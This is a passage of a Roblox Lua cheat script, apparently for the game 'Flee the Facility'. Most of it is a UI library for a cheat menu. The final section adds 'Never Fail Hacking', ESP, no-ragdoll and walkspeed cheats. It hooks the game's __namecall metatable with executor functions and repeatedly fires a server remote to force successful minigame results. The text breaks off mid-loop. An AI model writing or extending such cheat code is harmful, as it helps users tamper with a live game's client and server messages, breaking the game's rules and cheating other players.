  5560. Parent = self.container;
  5561. });
  5562.  
  5563. local function click(t)
  5564. location[flag] = not location[flag];
  5565. callback(location[flag])
  5566. check:FindFirstChild(name).Checkmark.Text = location[flag] and utf8.char(10003) or "";
  5567. end
  5568.  
  5569. check:FindFirstChild(name).Checkmark.MouseButton1Click:connect(click)
  5570. library.callbacks[flag] = click;
  5571.  
  5572. if location[flag] == true then
  5573. callback(location[flag])
  5574. end
  5575.  
  5576. self:Resize();
  5577. return {
  5578. Set = function(self, b)
  5579. location[flag] = b;
  5580. callback(location[flag])
  5581. check:FindFirstChild(name).Checkmark.Text = location[flag] and utf8.char(10003) or "";
  5582. end
  5583. }
  5584. end
  5585.  
  5586. function types:Button(name, callback)
  5587. callback = callback or function() end;
  5588.  
  5589. local check = library:Create('Frame', {
  5590. BackgroundTransparency = 1;
  5591. Size = UDim2.new(1, 0, 0, 25);
  5592. LayoutOrder = self:GetOrder();
  5593. library:Create('TextButton', {
  5594. Name = name;
  5595. Text = name;
  5596. BackgroundColor3 = library.options.btncolor;
  5597. BorderColor3 = library.options.bordercolor;
  5598. TextStrokeTransparency = library.options.textstroke;
  5599. TextStrokeColor3 = library.options.strokecolor;
  5600. TextColor3 = library.options.textcolor;
  5601. Position = UDim2.new(0, 5, 0, 5);
  5602. Size = UDim2.new(1, -10, 0, 20);
  5603. Font = library.options.font;
  5604. TextSize = library.options.fontsize;
  5605. });
  5606. Parent = self.container;
  5607. });
  5608.  
  5609. check:FindFirstChild(name).MouseButton1Click:connect(callback)
  5610. self:Resize();
  5611.  
  5612. return {
  5613. Fire = function()
  5614. callback();
  5615. end
  5616. }
  5617. end
  5618.  
  5619. function types:Box(name, options, callback) --type, default, data, location, flag)
  5620. local type = options.type or "";
  5621. local default = options.default or "";
  5622. local data = options.data
  5623. local location = options.location or self.flags;
  5624. local flag = options.flag or "";
  5625. local callback = callback or function() end;
  5626. local min = options.min or 0;
  5627. local max = options.max or 9e9;
  5628.  
  5629. if type == 'number' and (not tonumber(default)) then
  5630. location[flag] = default;
  5631. else
  5632. location[flag] = "";
  5633. default = "";
  5634. end
  5635.  
  5636. local check = library:Create('Frame', {
  5637. BackgroundTransparency = 1;
  5638. Size = UDim2.new(1, 0, 0, 25);
  5639. LayoutOrder = self:GetOrder();
  5640. library:Create('TextLabel', {
  5641. Name = name;
  5642. Text = "\r" .. name;
  5643. BackgroundTransparency = 1;
  5644. TextColor3 = library.options.textcolor;
  5645. TextStrokeTransparency = library.options.textstroke;
  5646. TextStrokeColor3 = library.options.strokecolor;
  5647. Position = UDim2.new(0, 5, 0, 0);
  5648. Size = UDim2.new(1, -5, 1, 0);
  5649. TextXAlignment = Enum.TextXAlignment.Left;
  5650. Font = library.options.font;
  5651. TextSize = library.options.fontsize;
  5652. library:Create('TextBox', {
  5653. TextStrokeTransparency = library.options.textstroke;
  5654. TextStrokeColor3 = library.options.strokecolor;
  5655. Text = tostring(default);
  5656. Font = library.options.font;
  5657. TextSize = library.options.fontsize;
  5658. Name = 'Box';
  5659. Size = UDim2.new(0, 60, 0, 20);
  5660. Position = UDim2.new(1, -65, 0, 3);
  5661. TextColor3 = library.options.textcolor;
  5662. BackgroundColor3 = library.options.boxcolor;
  5663. BorderColor3 = library.options.bordercolor;
  5664. PlaceholderColor3 = library.options.placeholdercolor;
  5665. })
  5666. });
  5667. Parent = self.container;
  5668. });
  5669.  
  5670. local box = check:FindFirstChild(name):FindFirstChild('Box');
  5671. box.FocusLost:connect(function(e)
  5672. local old = location[flag];
  5673. if type == "number" then
  5674. local num = tonumber(box.Text)
  5675. if (not num) then
  5676. box.Text = tonumber(location[flag])
  5677. else
  5678. location[flag] = math.clamp(num, min, max)
  5679. box.Text = tonumber(location[flag])
  5680. end
  5681. else
  5682. location[flag] = tostring(box.Text)
  5683. end
  5684.  
  5685. callback(location[flag], old, e)
  5686. end)
  5687.  
  5688. if type == 'number' then
  5689. box:GetPropertyChangedSignal('Text'):connect(function()
  5690. box.Text = string.gsub(box.Text, "[%a+]", "");
  5691. end)
  5692. end
  5693.  
  5694. self:Resize();
  5695. return box
  5696. end
  5697.  
  5698. function types:Bind(name, options, callback)
  5699. local location = options.location or self.flags;
  5700. local keyboardOnly = options.kbonly or false
  5701. local flag = options.flag or "";
  5702. local callback = callback or function() end;
  5703. local default = options.default;
  5704.  
  5705. if keyboardOnly and (not tostring(default):find('MouseButton')) then
  5706. location[flag] = default
  5707. end
  5708.  
  5709. local banned = {
  5710. Return = true;
  5711. Space = true;
  5712. Tab = true;
  5713. Unknown = true;
  5714. }
  5715.  
  5716. local shortNames = {
  5717. RightControl = 'RightCtrl';
  5718. LeftControl = 'LeftCtrl';
  5719. LeftShift = 'LShift';
  5720. RightShift = 'RShift';
  5721. MouseButton1 = "Mouse1";
  5722. MouseButton2 = "Mouse2";
  5723. }
  5724.  
  5725. local allowed = {
  5726. MouseButton1 = true;
  5727. MouseButton2 = true;
  5728. }
  5729.  
  5730. local nm = (default and (shortNames[default.Name] or default.Name) or "None");
  5731. local check = library:Create('Frame', {
  5732. BackgroundTransparency = 1;
  5733. Size = UDim2.new(1, 0, 0, 30);
  5734. LayoutOrder = self:GetOrder();
  5735. library:Create('TextLabel', {
  5736. Name = name;
  5737. Text = "\r" .. name;
  5738. BackgroundTransparency = 1;
  5739. TextColor3 = library.options.textcolor;
  5740. Position = UDim2.new(0, 5, 0, 0);
  5741. Size = UDim2.new(1, -5, 1, 0);
  5742. TextXAlignment = Enum.TextXAlignment.Left;
  5743. Font = library.options.font;
  5744. TextSize = library.options.fontsize;
  5745. TextStrokeTransparency = library.options.textstroke;
  5746. TextStrokeColor3 = library.options.strokecolor;
  5747. BorderColor3 = library.options.bordercolor;
  5748. BorderSizePixel = 1;
  5749. library:Create('TextButton', {
  5750. Name = 'Keybind';
  5751. Text = nm;
  5752. TextStrokeTransparency = library.options.textstroke;
  5753. TextStrokeColor3 = library.options.strokecolor;
  5754. Font = library.options.font;
  5755. TextSize = library.options.fontsize;
  5756. Size = UDim2.new(0, 60, 0, 20);
  5757. Position = UDim2.new(1, -65, 0, 5);
  5758. TextColor3 = library.options.textcolor;
  5759. BackgroundColor3 = library.options.bgcolor;
  5760. BorderColor3 = library.options.bordercolor;
  5761. BorderSizePixel = 1;
  5762. })
  5763. });
  5764. Parent = self.container;
  5765. });
  5766.  
  5767. local button = check:FindFirstChild(name).Keybind;
  5768. button.MouseButton1Click:connect(function()
  5769. library.binding = true
  5770.  
  5771. button.Text = "..."
  5772. local a, b = game:GetService('UserInputService').InputBegan:wait();
  5773. local name = tostring(a.KeyCode.Name);
  5774. local typeName = tostring(a.UserInputType.Name);
  5775.  
  5776. if (a.UserInputType ~= Enum.UserInputType.Keyboard and (allowed[a.UserInputType.Name]) and (not keyboardOnly)) or (a.KeyCode and (not banned[a.KeyCode.Name])) then
  5777. local name = (a.UserInputType ~= Enum.UserInputType.Keyboard and a.UserInputType.Name or a.KeyCode.Name);
  5778. location[flag] = (a);
  5779. button.Text = shortNames[name] or name;
  5780.  
  5781. else
  5782. if (location[flag]) then
  5783. if (not pcall(function()
  5784. return location[flag].UserInputType
  5785. end)) then
  5786. local name = tostring(location[flag])
  5787. button.Text = shortNames[name] or name
  5788. else
  5789. local name = (location[flag].UserInputType ~= Enum.UserInputType.Keyboard and location[flag].UserInputType.Name or location[flag].KeyCode.Name);
  5790. button.Text = shortNames[name] or name;
  5791. end
  5792. end
  5793. end
  5794.  
  5795. wait(0.1)
  5796. library.binding = false;
  5797. end)
  5798.  
  5799. if location[flag] then
  5800. button.Text = shortNames[tostring(location[flag].Name)] or tostring(location[flag].Name)
  5801. end
  5802.  
  5803. library.binds[flag] = {
  5804. location = location;
  5805. callback = callback;
  5806. };
  5807.  
  5808. self:Resize();
  5809. end
  5810.  
  5811. function types:Section(name)
  5812. local order = self:GetOrder();
  5813. local determinedSize = UDim2.new(1, 0, 0, 25)
  5814. local determinedPos = UDim2.new(0, 0, 0, 4);
  5815. local secondarySize = UDim2.new(1, 0, 0, 20);
  5816.  
  5817. if order == 0 then
  5818. determinedSize = UDim2.new(1, 0, 0, 21)
  5819. determinedPos = UDim2.new(0, 0, 0, -1);
  5820. secondarySize = nil
  5821. end
  5822.  
  5823. local check = library:Create('Frame', {
  5824. Name = 'Section';
  5825. BackgroundTransparency = 1;
  5826. Size = determinedSize;
  5827. BackgroundColor3 = library.options.sectncolor;
  5828. BorderSizePixel = 0;
  5829. LayoutOrder = order;
  5830. library:Create('TextLabel', {
  5831. Name = 'section_lbl';
  5832. Text = name;
  5833. BackgroundTransparency = 0;
  5834. BorderSizePixel = 0;
  5835. BackgroundColor3 = library.options.sectncolor;
  5836. TextColor3 = library.options.textcolor;
  5837. Position = determinedPos;
  5838. Size = (secondarySize or UDim2.new(1, 0, 1, 0));
  5839. Font = library.options.font;
  5840. TextSize = library.options.fontsize;
  5841. TextStrokeTransparency = library.options.textstroke;
  5842. TextStrokeColor3 = library.options.strokecolor;
  5843. });
  5844. Parent = self.container;
  5845. });
  5846.  
  5847. self:Resize();
  5848. end
  5849.  
  5850. function types:Slider(name, options, callback)
  5851. local default = options.default or options.min;
  5852. local min = options.min or 0;
  5853. local max = options.max or 1;
  5854. local location = options.location or self.flags;
  5855. local precise = options.precise or false -- e.g 0, 1 vs 0, 0.1, 0.2, ...
  5856. local flag = options.flag or "";
  5857. local callback = callback or function() end
  5858.  
  5859. location[flag] = default;
  5860.  
  5861. local check = library:Create('Frame', {
  5862. BackgroundTransparency = 1;
  5863. Size = UDim2.new(1, 0, 0, 25);
  5864. LayoutOrder = self:GetOrder();
  5865. library:Create('TextLabel', {
  5866. Name = name;
  5867. TextStrokeTransparency = library.options.textstroke;
  5868. TextStrokeColor3 = library.options.strokecolor;
  5869. Text = "\r" .. name;
  5870. BackgroundTransparency = 1;
  5871. TextColor3 = library.options.textcolor;
  5872. Position = UDim2.new(0, 5, 0, 2);
  5873. Size = UDim2.new(1, -5, 1, 0);
  5874. TextXAlignment = Enum.TextXAlignment.Left;
  5875. Font = library.options.font;
  5876. TextSize = library.options.fontsize;
  5877. library:Create('Frame', {
  5878. Name = 'Container';
  5879. Size = UDim2.new(0, 60, 0, 20);
  5880. Position = UDim2.new(1, -65, 0, 3);
  5881. BackgroundTransparency = 1;
  5882. --BorderColor3 = library.options.bordercolor;
  5883. BorderSizePixel = 0;
  5884. library:Create('TextLabel', {
  5885. Name = 'ValueLabel';
  5886. Text = default;
  5887. BackgroundTransparency = 1;
  5888. TextColor3 = library.options.textcolor;
  5889. Position = UDim2.new(0, -10, 0, 0);
  5890. Size = UDim2.new(0, 1, 1, 0);
  5891. TextXAlignment = Enum.TextXAlignment.Right;
  5892. Font = library.options.font;
  5893. TextSize = library.options.fontsize;
  5894. TextStrokeTransparency = library.options.textstroke;
  5895. TextStrokeColor3 = library.options.strokecolor;
  5896. });
  5897. library:Create('TextButton', {
  5898. Name = 'Button';
  5899. Size = UDim2.new(0, 5, 1, -2);
  5900. Position = UDim2.new(0, 0, 0, 1);
  5901. AutoButtonColor = false;
  5902. Text = "";
  5903. BackgroundColor3 = Color3.fromRGB(20, 20, 20);
  5904. BorderSizePixel = 0;
  5905. ZIndex = 2;
  5906. TextStrokeTransparency = library.options.textstroke;
  5907. TextStrokeColor3 = library.options.strokecolor;
  5908. });
  5909. library:Create('Frame', {
  5910. Name = 'Line';
  5911. BackgroundTransparency = 0;
  5912. Position = UDim2.new(0, 0, 0.5, 0);
  5913. Size = UDim2.new(1, 0, 0, 1);
  5914. BackgroundColor3 = Color3.fromRGB(255, 255, 255);
  5915. BorderSizePixel = 0;
  5916. });
  5917. })
  5918. });
  5919. Parent = self.container;
  5920. });
  5921.  
  5922. local overlay = check:FindFirstChild(name);
  5923.  
  5924. local renderSteppedConnection;
  5925. local inputBeganConnection;
  5926. local inputEndedConnection;
  5927. local mouseLeaveConnection;
  5928. local mouseDownConnection;
  5929. local mouseUpConnection;
  5930.  
  5931. check:FindFirstChild(name).Container.MouseEnter:connect(function()
  5932. local function update()
  5933. if renderSteppedConnection then renderSteppedConnection:disconnect() end
  5934.  
  5935.  
  5936. renderSteppedConnection = game:GetService('RunService').RenderStepped:connect(function()
  5937. local mouse = game:GetService("UserInputService"):GetMouseLocation()
  5938. local percent = (mouse.X - overlay.Container.AbsolutePosition.X) / (overlay.Container.AbsoluteSize.X)
  5939. percent = math.clamp(percent, 0, 1)
  5940. percent = tonumber(string.format("%.2f", percent))
  5941.  
  5942. overlay.Container.Button.Position = UDim2.new(math.clamp(percent, 0, 0.99), 0, 0, 1)
  5943.  
  5944. local num = min + (max - min) * percent
  5945. local value = (precise and num or math.floor(num))
  5946.  
  5947. overlay.Container.ValueLabel.Text = value;
  5948. callback(tonumber(value))
  5949. location[flag] = tonumber(value)
  5950. end)
  5951. end
  5952.  
  5953. local function disconnect()
  5954. if renderSteppedConnection then renderSteppedConnection:disconnect() end
  5955. if inputBeganConnection then inputBeganConnection:disconnect() end
  5956. if inputEndedConnection then inputEndedConnection:disconnect() end
  5957. if mouseLeaveConnection then mouseLeaveConnection:disconnect() end
  5958. if mouseUpConnection then mouseUpConnection:disconnect() end
  5959. end
  5960.  
  5961. inputBeganConnection = check:FindFirstChild(name).Container.InputBegan:connect(function(input)
  5962. if input.UserInputType == Enum.UserInputType.MouseButton1 then
  5963. update()
  5964. end
  5965. end)
  5966.  
  5967. inputEndedConnection = check:FindFirstChild(name).Container.InputEnded:connect(function(input)
  5968. if input.UserInputType == Enum.UserInputType.MouseButton1 then
  5969. disconnect()
  5970. end
  5971. end)
  5972.  
  5973. mouseDownConnection = check:FindFirstChild(name).Container.Button.MouseButton1Down:connect(update)
  5974. mouseUpConnection = game:GetService("UserInputService").InputEnded:connect(function(a, b)
  5975. if a.UserInputType == Enum.UserInputType.MouseButton1 and (mouseDownConnection.Connected) then
  5976. disconnect()
  5977. end
  5978. end)
  5979. end)
  5980.  
  5981. if default ~= min then
  5982. local percent = 1 - ((max - default) / (max - min))
  5983. local number = default
  5984.  
  5985. number = tonumber(string.format("%.2f", number))
  5986. if (not precise) then
  5987. number = math.floor(number)
  5988. end
  5989.  
  5990. overlay.Container.Button.Position = UDim2.new(math.clamp(percent, 0, 0.99), 0, 0, 1)
  5991. overlay.Container.ValueLabel.Text = number
  5992. end
  5993.  
  5994. self:Resize();
  5995. return {
  5996. Set = function(self, value)
  5997. local percent = 1 - ((max - value) / (max - min))
  5998. local number = value
  5999.  
  6000. number = tonumber(string.format("%.2f", number))
  6001. if (not precise) then
  6002. number = math.floor(number)
  6003. end
  6004.  
  6005. overlay.Container.Button.Position = UDim2.new(math.clamp(percent, 0, 0.99), 0, 0, 1)
  6006. overlay.Container.ValueLabel.Text = number
  6007. location[flag] = number
  6008. callback(number)
  6009. end
  6010. }
  6011. end
  6012.  
  6013. function types:SearchBox(text, options, callback)
  6014. local list = options.list or {};
  6015. local flag = options.flag or "";
  6016. local location = options.location or self.flags;
  6017. local callback = callback or function() end;
  6018.  
  6019. local busy = false;
  6020. local box = library:Create('Frame', {
  6021. BackgroundTransparency = 1;
  6022. Size = UDim2.new(1, 0, 0, 25);
  6023. LayoutOrder = self:GetOrder();
  6024. library:Create('TextBox', {
  6025. Text = "";
  6026. PlaceholderText = text;
  6027. PlaceholderColor3 = Color3.fromRGB(60, 60, 60);
  6028. Font = library.options.font;
  6029. TextSize = library.options.fontsize;
  6030. Name = 'Box';
  6031. Size = UDim2.new(1, -10, 0, 20);
  6032. Position = UDim2.new(0, 5, 0, 4);
  6033. TextColor3 = library.options.textcolor;
  6034. BackgroundColor3 = library.options.dropcolor;
  6035. BorderColor3 = library.options.bordercolor;
  6036. TextStrokeTransparency = library.options.textstroke;
  6037. TextStrokeColor3 = library.options.strokecolor;
  6038. library:Create('ScrollingFrame', {
  6039. Position = UDim2.new(0, 0, 1, 1);
  6040. Name = 'Container';
  6041. BackgroundColor3 = library.options.btncolor;
  6042. ScrollBarThickness = 0;
  6043. BorderSizePixel = 0;
  6044. BorderColor3 = library.options.bordercolor;
  6045. Size = UDim2.new(1, 0, 0, 0);
  6046. library:Create('UIListLayout', {
  6047. Name = 'ListLayout';
  6048. SortOrder = Enum.SortOrder.LayoutOrder;
  6049. });
  6050. ZIndex = 2;
  6051. });
  6052. });
  6053. Parent = self.container;
  6054. })
  6055.  
  6056. local function rebuild(text)
  6057. box:FindFirstChild('Box').Container.ScrollBarThickness = 0
  6058. for i, child in next, box:FindFirstChild('Box').Container:GetChildren() do
  6059. if (not child:IsA('UIListLayout')) then
  6060. child:Destroy();
  6061. end
  6062. end
  6063.  
  6064. if #text > 0 then
  6065. for i, v in next, list do
  6066. if string.sub(string.lower(v), 1, string.len(text)) == string.lower(text) then
  6067. local button = library:Create('TextButton', {
  6068. Text = v;
  6069. Font = library.options.font;
  6070. TextSize = library.options.fontsize;
  6071. TextColor3 = library.options.textcolor;
  6072. BorderColor3 = library.options.bordercolor;
  6073. TextStrokeTransparency = library.options.textstroke;
  6074. TextStrokeColor3 = library.options.strokecolor;
  6075. Parent = box:FindFirstChild('Box').Container;
  6076. Size = UDim2.new(1, 0, 0, 20);
  6077. LayoutOrder = i;
  6078. BackgroundColor3 = library.options.btncolor;
  6079. ZIndex = 2;
  6080. })
  6081.  
  6082. button.MouseButton1Click:connect(function()
  6083. busy = true;
  6084. box:FindFirstChild('Box').Text = button.Text;
  6085. wait();
  6086. busy = false;
  6087.  
  6088. location[flag] = button.Text;
  6089. callback(location[flag])
  6090.  
  6091. box:FindFirstChild('Box').Container.ScrollBarThickness = 0
  6092. for i, child in next, box:FindFirstChild('Box').Container:GetChildren() do
  6093. if (not child:IsA('UIListLayout')) then
  6094. child:Destroy();
  6095. end
  6096. end
  6097. box:FindFirstChild('Box').Container:TweenSize(UDim2.new(1, 0, 0, 0), 'Out', 'Quad', 0.25, true)
  6098. end)
  6099. end
  6100. end
  6101. end
  6102.  
  6103. local c = box:FindFirstChild('Box').Container:GetChildren()
  6104. local ry = (20 * (#c)) - 20
  6105.  
  6106. local y = math.clamp((20 * (#c)) - 20, 0, 100)
  6107. if ry > 100 then
  6108. box:FindFirstChild('Box').Container.ScrollBarThickness = 5;
  6109. end
  6110.  
  6111. box:FindFirstChild('Box').Container:TweenSize(UDim2.new(1, 0, 0, y), 'Out', 'Quad', 0.25, true)
  6112. box:FindFirstChild('Box').Container.CanvasSize = UDim2.new(1, 0, 0, (20 * (#c)) - 20)
  6113. end
  6114.  
  6115. box:FindFirstChild('Box'):GetPropertyChangedSignal('Text'):connect(function()
  6116. if (not busy) then
  6117. rebuild(box:FindFirstChild('Box').Text)
  6118. end
  6119. end);
  6120.  
  6121. local function reload(new_list)
  6122. list = new_list;
  6123. rebuild("")
  6124. end
  6125. self:Resize();
  6126. return reload, box:FindFirstChild('Box');
  6127. end
  6128.  
  6129. function types:Dropdown(name, options, callback)
  6130. local location = options.location or self.flags;
  6131. local flag = options.flag or "";
  6132. local callback = callback or function() end;
  6133. local list = options.list or {};
  6134.  
  6135. location[flag] = list[1]
  6136. local check = library:Create('Frame', {
  6137. BackgroundTransparency = 1;
  6138. Size = UDim2.new(1, 0, 0, 25);
  6139. BackgroundColor3 = Color3.fromRGB(25, 25, 25);
  6140. BorderSizePixel = 0;
  6141. LayoutOrder = self:GetOrder();
  6142. library:Create('Frame', {
  6143. Name = 'dropdown_lbl';
  6144. BackgroundTransparency = 0;
  6145. BackgroundColor3 = library.options.dropcolor;
  6146. Position = UDim2.new(0, 5, 0, 4);
  6147. BorderColor3 = library.options.bordercolor;
  6148. Size = UDim2.new(1, -10, 0, 20);
  6149. library:Create('TextLabel', {
  6150. Name = 'Selection';
  6151. Size = UDim2.new(1, 0, 1, 0);
  6152. Text = list[1];
  6153. TextColor3 = library.options.textcolor;
  6154. BackgroundTransparency = 1;
  6155. Font = library.options.font;
  6156. TextSize = library.options.fontsize;
  6157. TextStrokeTransparency = library.options.textstroke;
  6158. TextStrokeColor3 = library.options.strokecolor;
  6159. });
  6160. library:Create("TextButton", {
  6161. Name = 'drop';
  6162. BackgroundTransparency = 1;
  6163. Size = UDim2.new(0, 20, 1, 0);
  6164. Position = UDim2.new(1, -25, 0, 0);
  6165. Text = 'v';
  6166. TextColor3 = library.options.textcolor;
  6167. Font = library.options.font;
  6168. TextSize = library.options.fontsize;
  6169. TextStrokeTransparency = library.options.textstroke;
  6170. TextStrokeColor3 = library.options.strokecolor;
  6171. })
  6172. });
  6173. Parent = self.container;
  6174. });
  6175.  
  6176. local button = check:FindFirstChild('dropdown_lbl').drop;
  6177. local input;
  6178.  
  6179. button.MouseButton1Click:connect(function()
  6180. if (input and input.Connected) then
  6181. return
  6182. end
  6183.  
  6184. check:FindFirstChild('dropdown_lbl'):WaitForChild('Selection').TextColor3 = Color3.fromRGB(60, 60, 60);
  6185. check:FindFirstChild('dropdown_lbl'):WaitForChild('Selection').Text = name;
  6186. local c = 0;
  6187. for i, v in next, list do
  6188. c = c + 20;
  6189. end
  6190.  
  6191. local size = UDim2.new(1, 0, 0, c)
  6192.  
  6193. local clampedSize;
  6194. local scrollSize = 0;
  6195. if size.Y.Offset > 100 then
  6196. clampedSize = UDim2.new(1, 0, 0, 100)
  6197. scrollSize = 5;
  6198. end
  6199.  
  6200. local goSize = (clampedSize ~= nil and clampedSize) or size;
  6201. local container = library:Create('ScrollingFrame', {
  6202. TopImage = 'rbxasset://textures/ui/Scroll/scroll-middle.png';
  6203. BottomImage = 'rbxasset://textures/ui/Scroll/scroll-middle.png';
  6204. Name = 'DropContainer';
  6205. Parent = check:FindFirstChild('dropdown_lbl');
  6206. Size = UDim2.new(1, 0, 0, 0);
  6207. BackgroundColor3 = library.options.bgcolor;
  6208. BorderColor3 = library.options.bordercolor;
  6209. Position = UDim2.new(0, 0, 1, 0);
  6210. ScrollBarThickness = scrollSize;
  6211. CanvasSize = UDim2.new(0, 0, 0, size.Y.Offset);
  6212. ZIndex = 5;
  6213. ClipsDescendants = true;
  6214. library:Create('UIListLayout', {
  6215. Name = 'List';
  6216. SortOrder = Enum.SortOrder.LayoutOrder
  6217. })
  6218. })
  6219.  
  6220. for i, v in next, list do
  6221. local btn = library:Create('TextButton', {
  6222. Size = UDim2.new(1, 0, 0, 20);
  6223. BackgroundColor3 = library.options.btncolor;
  6224. BorderColor3 = library.options.bordercolor;
  6225. Text = v;
  6226. Font = library.options.font;
  6227. TextSize = library.options.fontsize;
  6228. LayoutOrder = i;
  6229. Parent = container;
  6230. ZIndex = 5;
  6231. TextColor3 = library.options.textcolor;
  6232. TextStrokeTransparency = library.options.textstroke;
  6233. TextStrokeColor3 = library.options.strokecolor;
  6234. })
  6235.  
  6236. btn.MouseButton1Click:connect(function()
  6237. check:FindFirstChild('dropdown_lbl'):WaitForChild('Selection').TextColor3 = library.options.textcolor
  6238. check:FindFirstChild('dropdown_lbl'):WaitForChild('Selection').Text = btn.Text;
  6239.  
  6240. location[flag] = tostring(btn.Text);
  6241. callback(location[flag])
  6242.  
  6243. game:GetService('Debris'):AddItem(container, 0)
  6244. input:disconnect();
  6245. end)
  6246. end
  6247.  
  6248. container:TweenSize(goSize, 'Out', 'Quad', 0.15, true)
  6249.  
  6250. local function isInGui(frame)
  6251. local mloc = game:GetService('UserInputService'):GetMouseLocation();
  6252. local mouse = Vector2.new(mloc.X, mloc.Y - 36);
  6253.  
  6254. local x1, x2 = frame.AbsolutePosition.X, frame.AbsolutePosition.X + frame.AbsoluteSize.X;
  6255. local y1, y2 = frame.AbsolutePosition.Y, frame.AbsolutePosition.Y + frame.AbsoluteSize.Y;
  6256.  
  6257. return (mouse.X >= x1 and mouse.X <= x2) and (mouse.Y >= y1 and mouse.Y <= y2)
  6258. end
  6259.  
  6260. input = game:GetService('UserInputService').InputBegan:connect(function(a)
  6261. if a.UserInputType == Enum.UserInputType.MouseButton1 and (not isInGui(container)) then
  6262. check:FindFirstChild('dropdown_lbl'):WaitForChild('Selection').TextColor3 = library.options.textcolor
  6263. check:FindFirstChild('dropdown_lbl'):WaitForChild('Selection').Text = location[flag];
  6264.  
  6265. container:TweenSize(UDim2.new(1, 0, 0, 0), 'In', 'Quad', 0.15, true)
  6266. wait(0.15)
  6267.  
  6268. game:GetService('Debris'):AddItem(container, 0)
  6269. input:disconnect();
  6270. end
  6271. end)
  6272. end)
  6273.  
  6274. self:Resize();
  6275. local function reload(self, array)
  6276. options = array;
  6277. location[flag] = array[1];
  6278. pcall(function()
  6279. input:disconnect()
  6280. end)
  6281. check:WaitForChild('dropdown_lbl').Selection.Text = location[flag]
  6282. check:FindFirstChild('dropdown_lbl'):WaitForChild('Selection').TextColor3 = library.options.textcolor
  6283. game:GetService('Debris'):AddItem(container, 0)
  6284. end
  6285.  
  6286. return {
  6287. Refresh = reload;
  6288. }
  6289. end
  6290. end
  6291.  
  6292. function library:Create(class, data)
  6293. local obj = Instance.new(class);
  6294. for i, v in next, data do
  6295. if i ~= 'Parent' then
  6296.  
  6297. if typeof(v) == "Instance" then
  6298. v.Parent = obj;
  6299. else
  6300. obj[i] = v
  6301. end
  6302. end
  6303. end
  6304.  
  6305. obj.Parent = data.Parent;
  6306. return obj
  6307. end
  6308.  
  6309. function library:CreateWindow(name, options)
  6310. if (not library.container) then
  6311. library.container = self:Create("ScreenGui", {
  6312. self:Create('Frame', {
  6313. Name = 'Container';
  6314. Size = UDim2.new(1, -30, 1, 0);
  6315. Position = UDim2.new(0, 20, 0, 20);
  6316. BackgroundTransparency = 1;
  6317. Active = false;
  6318. });
  6319. Parent = game:GetService("CoreGui");
  6320. }):FindFirstChild('Container');
  6321. end
  6322.  
  6323. if (not library.options) then
  6324. library.options = setmetatable(options or {}, {__index = defaults})
  6325. end
  6326.  
  6327. local window = types.window(name, library.options);
  6328. dragger.new(window.object);
  6329. return window
  6330. end
  6331.  
  6332. default = {
  6333. topcolor = Color3.fromRGB(30, 30, 30);
  6334. titlecolor = Color3.fromRGB(255, 255, 255);
  6335.  
  6336. underlinecolor = "rainbow";
  6337. bgcolor = Color3.fromRGB(35, 35, 35);
  6338. boxcolor = Color3.fromRGB(35, 35, 35);
  6339. btncolor = Color3.fromRGB(25, 25, 25);
  6340. dropcolor = Color3.fromRGB(25, 25, 25);
  6341. sectncolor = Color3.fromRGB(25, 25, 25);
  6342. bordercolor = Color3.fromRGB(60, 60, 60);
  6343.  
  6344. font = Enum.Font.SourceSans;
  6345. titlefont = Enum.Font.Code;
  6346.  
  6347. fontsize = 17;
  6348. titlesize = 18;
  6349.  
  6350. textstroke = 1;
  6351. titlestroke = 1;
  6352.  
  6353. strokecolor = Color3.fromRGB(0, 0, 0);
  6354.  
  6355. textcolor = Color3.fromRGB(255, 255, 255);
  6356. titletextcolor = Color3.fromRGB(255, 255, 255);
  6357.  
  6358. placeholdercolor = Color3.fromRGB(255, 255, 255);
  6359. titlestrokecolor = Color3.fromRGB(0, 0, 0);
  6360. }
  6361.  
  6362. library.options = setmetatable({}, {__index = default})
  6363.  
  6364. spawn(function()
  6365. while true do
  6366. for i=0, 1, 1 / 300 do
  6367. for _, obj in next, library.rainbowtable do
  6368. obj.BackgroundColor3 = Color3.fromHSV(i, 1, 1);
  6369. end
  6370. wait()
  6371. end;
  6372. end
  6373. end)
  6374.  
  6375. local function isreallypressed(bind, inp)
  6376. local key = bind
  6377. if typeof(key) == "Instance" then
  6378. if key.UserInputType == Enum.UserInputType.Keyboard and inp.KeyCode == key.KeyCode then
  6379. return true;
  6380. elseif tostring(key.UserInputType):find('MouseButton') and inp.UserInputType == key.UserInputType then
  6381. return true
  6382. end
  6383. end
  6384. if tostring(key):find'MouseButton1' then
  6385. return key == inp.UserInputType
  6386. else
  6387. return key == inp.KeyCode
  6388. end
  6389. end
  6390.  
  6391. game:GetService("UserInputService").InputBegan:connect(function(input)
  6392. if (not library.binding) then
  6393. for idx, binds in next, library.binds do
  6394. local real_binding = binds.location[idx];
  6395. if real_binding and isreallypressed(real_binding, input) then
  6396. binds.callback()
  6397. end
  6398. end
  6399. end
  6400. end)
  6401. end
  6402.  
  6403.  
  6404. local w = library:CreateWindow('FTF')
  6405.  
  6406. w:Section('Cheats')
  6407. local t = w:Toggle('Never Fail Hacking', {location = _G; flag = "nfh"})
  6408. local t3 = w:Toggle('No Ragdoll', {location = _G; flag = "nr"})
  6409. local t2 = w:Toggle('ESP', {location = _G; flag = "esptoggle"})
  6410.  
  6411. w:Section('Tools')
  6412. local b = w:Button("Unlock Camera", function()
  6413. workspace.CurrentCamera:remove()
  6414. wait(0.1)
  6415. workspace.CurrentCamera.CameraSubject = game.Players.LocalPlayer.Character.Humanoid
  6416. workspace.CurrentCamera.CameraType = "Custom"
  6417. game.Players.LocalPlayer.CameraMinZoomDistance = 0.5
  6418. game.Players.LocalPlayer.CameraMaxZoomDistance = 400
  6419. game.Players.LocalPlayer.CameraMode = "Classic"
  6420. end)
  6421.  
  6422. local s = w:Slider("Walkspeed", {
  6423. min = 16;
  6424. max = 80;
  6425. flag = 'ws'
  6426. }, function(newws)
  6427. game.Players.LocalPlayer.Character.Humanoid.WalkSpeed = newws;
  6428. end)
  6429.  
  6430. spawn(function()
  6431. local mt = getrawmetatable(game)
  6432. make_writeable(mt)
  6433. local namecall = mt.__namecall
  6434. mt.__namecall = newcclosure(function(self, ...)
  6435. local method = getnamecallmethod()
  6436. local args = {...}
  6437. if method == "FireServer" and args[1] == "SetPlayerMinigameResult" and args[2] == false then
  6438. if _G.nfh == true then
  6439. for i=1,50 do
  6440. game.ReplicatedStorage.RemoteEvent:FireServer("SetPlayerMinigameResult",true)
  6441. wait()
  6442. end
  6443. end
  6444. end
  6445. return namecall(self, ...)
  6446. end)
  6447. end)
  6448. spawn(function()
  6449. while wait(2) do
